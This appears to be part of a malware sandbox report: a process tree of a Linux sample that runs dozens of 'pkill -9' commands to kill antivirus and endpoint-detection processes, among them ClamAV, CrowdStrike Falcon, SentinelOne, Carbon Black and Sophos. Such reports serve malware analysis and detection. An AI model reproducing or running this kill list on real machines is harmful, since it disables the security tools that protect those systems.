                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                            pkill -9 -x avast
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                                                            • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                            PID:883
                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                            pkill -9 -x avast5
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                                                            PID:885
                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                            pkill -9 -x avast6
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                                                            • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                            PID:887
                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                            pkill -9 -x avastsvc
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:889
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x ash
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                              PID:891
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x ashmaisv
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              PID:893
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x avgnt
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                              PID:895
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x avgnt.exe
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              PID:897
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x avgnt2
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                              PID:899
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x avgnt3
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                              PID:901
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x clamd
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                              PID:903
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x clamdscan
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                              PID:905
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x clamonacc
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                              PID:907
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x f-prot
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                              PID:909
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x f-prot64
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                              PID:911
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x f-sport
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              PID:913
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x f-sport64
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                              PID:915
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x smon
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              PID:917
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x smon2
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              PID:919
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x smon3
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                              PID:921
                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                              pkill -9 -x mcs
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:923
                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                pkill -9 -x mcs2
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                PID:925
                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                pkill -9 -x mcs3
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:927
                                                                                                                                                                                                                                                                                                • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                  pkill -9 -x navpsv32
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                                                                                                                                                  • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                  PID:929
                                                                                                                                                                                                                                                                                                • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                  pkill -9 -x navpsv64
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                    PID:931
                                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                    pkill -9 -x navw32
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                                                                                    PID:933
                                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                    pkill -9 -x navw64
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                                                                                    PID:935
                                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                    pkill -9 -x avp.exe
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                                                                                    PID:937
                                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                    pkill -9 -x avpsvc.exe
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                                                                                    PID:939
                                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                    pkill -9 -x avpcc.exe
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:941
                                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                      pkill -9 -x avpm.exe
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:943
                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                        pkill -9 -x avp9.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                        PID:945
                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                        pkill -9 -x avp10.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                        PID:947
                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                        pkill -9 -x avp11.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                        PID:949
                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                        pkill -9 -x avp12.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                                                                        PID:951
                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                        pkill -9 -x avp13.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                        PID:953
                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                        pkill -9 -x avp14.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                                                                        PID:955
                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                        pkill -9 -x avp15.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                        PID:957
                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                        pkill -9 -x avp16.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                        PID:959
                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                        pkill -9 -x avp17.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:961
                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                          pkill -9 -x avp18.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                          PID:963
                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                          pkill -9 -x avp19.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                          PID:965
                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                          pkill -9 -x avp20.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                                                                          PID:967
                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                          pkill -9 -x avp21.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                          PID:969
                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                          pkill -9 -x avp22.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                                                                          PID:971
                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                          pkill -9 -x avp23.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                                                                          PID:973
                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                          pkill -9 -x avp24.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                          PID:975
                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                          pkill -9 -x avp25.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                          PID:977
                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                          pkill -9 -x avp26.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:979
                                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                            pkill -9 -x avp27.exe
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                                                                            PID:981
                                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                            pkill -9 -x avp28.exe
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:983
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp29.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                              PID:985
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp30.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                              PID:987
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp31.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                              PID:989
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp32.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                              PID:991
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp33.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                              PID:993
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp34.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                              PID:995
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp35.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                              PID:997
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp36.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                              PID:999
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp37.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                              PID:1001
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp38.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                              PID:1003
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp39.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                              PID:1005
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp40.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                              PID:1007
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp41.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                              PID:1009
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp42.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                              PID:1011
                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                              pkill -9 -x avp43.exe
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                PID:1013
                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                pkill -9 -x avp44.exe
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:1015
                                                                                                                                                                                                                                                                                                                • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                  pkill -9 -x avp45.exe
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                    PID:1017
                                                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                    pkill -9 -x avp46.exe
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                    PID:1019
                                                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                    pkill -9 -x avp47.exe
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                    PID:1021
                                                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                    pkill -9 -x avp48.exe
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                      PID:1023
                                                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                      pkill -9 -x avp49.exe
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                      PID:1025
                                                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                      pkill -9 -x avp50.exe
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                      PID:1027
                                                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                      pkill -9 -f "[f]alcond"
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                                                                      PID:1030
                                                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                      pkill -9 -f "[f]alcon"
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                                                                      PID:1032
                                                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                      pkill -9 -f "[c]sagent"
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                                                                      PID:1034
                                                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                      pkill -9 -f "[c]rowdstrike"
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                        PID:1036
                                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                        pkill -9 -f "[s]entinelagent"
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                                                                                        PID:1038
                                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                        pkill -9 -f "[s]entinelhelper"
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                        PID:1040
                                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                        pkill -9 -f "[s]1-agent"
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                        PID:1042
                                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                        pkill -9 -f "[s]1-service"
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                        • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                                                                                        PID:1044
                                                                                                                                                                                                                                                                                                                      • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                        pkill -9 -f "[x]agt"
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                          PID:1046
                                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                          pkill -9 -f "[c]bdefense"
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                                                                                          PID:1048
                                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                          pkill -9 -f "[c]bagent"
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                          • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                                                                                          PID:1050
                                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                          pkill -9 -f "[c]arbonblack"
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                                                                                          PID:1052
                                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                          pkill -9 -f "[r]epwel"
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                            PID:1054
                                                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                            pkill -9 -f "[c]ylance"
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                            • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                            PID:1056
                                                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                            pkill -9 -f "[s]vcdiva"
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                            • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                                                                                            PID:1058
                                                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                            pkill -9 -f "[m]datp"
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:1060
                                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                              pkill -9 -f "[m]dallaips"
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                                              • System Network Configuration Discovery
                                                                                                                                                                                                                                                                                                                              PID:1062
                                                                                                                                                                                                                                                                                                                            • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                              pkill -9 -f "[s]ensedata"
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:1064
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[s]ophos"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1066
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[s]avscanner"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1068
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[r]tvscan"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                PID:1070
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[s]ymantec"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1072
                                                                                                                                                                                                                                                                                                                              • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                pkill -9 -f "[S]ymAux"
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                PID:1074
